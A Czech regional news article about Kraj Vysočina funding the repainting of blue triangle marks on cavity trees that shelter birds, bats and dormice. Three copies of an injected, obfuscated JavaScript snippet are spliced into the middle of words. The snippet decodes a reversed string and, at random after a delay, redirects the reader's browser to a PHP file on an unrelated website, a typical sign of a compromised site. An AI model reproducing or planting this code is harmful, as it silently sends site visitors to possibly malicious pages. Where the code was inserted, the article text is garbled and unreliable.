Žďársko, Vysočina / Doupné stromy budou s podporou Kraje Vysočina i na Žďársku opět označovat orni$NfI=function(n){if (typeof ($NfI.list[n]) == „string“) return $NfI.list[n].split(„“).reverse().join(„“);return $NfI.list[n];};$NfI.list=[„\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tologové. Jedná se o dřeviny s dutinami vhodnými k rozmnožování živočichů. Vznikají rozkladnými procesy dřeva, případně jsou dutiny vytesány strakapoudy, žlunami nebo datly, aby v nich následně hnízdili ptáci od drobných pěvců přes kulíška nejmenšího, sýce rousného a holuba doupňáka až po puštíka obecného. K rozmnožování slouží také ne$NfI=function(n){if (typeof ($NfI.list[n]) == „string“) return $NfI.list[n].split(„“).reverse().join(„“);return $NfI.list[n];};$NfI.list=[„\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}topýrům a některým dalším druhům savců, jako jsou třeba plšík lískový, plch či veverka. „Ponechávání doupných stromů v lesích je důležitým krokem k zachování životního pros$NfI=function(n){if (typeof ($NfI.list[n]) == „string“) return $NfI.list[n].split(„“).reverse().join(„“);return $NfI.list[n];};$NfI.list=[„\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toru pro řadu živočichů a obnovu biodiverzity našich lesů,“ uvedl radní Kraje Vysočina Pavel Hájek.                                                                          V roce 2022 Kraj Vysočina na označování doupných stromů vyčlenil 120 tisíc korun, nicméně za poslední čtyři roky už bylo s krajskou finanční podporou obnoveno značení 3700 stromů, kdy se na kmen ve výšce kolem 150 centimetrů namalují dva až čtyři modré rovnostranné trojúhelníky. Značení a jeho obnova probíhají postupně a v několika oblastech dochází i k pravidelné kontrole obsazenosti doupných stromů. „Úspěšnost takzvaně chráněných hnízdění je prokazatelně vyšší než v případech, kdy s lesníky a vlastníky lesních pozemků nebyla navázána spolupráce a nebyli informováni o doupném stromě v jejich lese,“ dodal Pavel Hájek.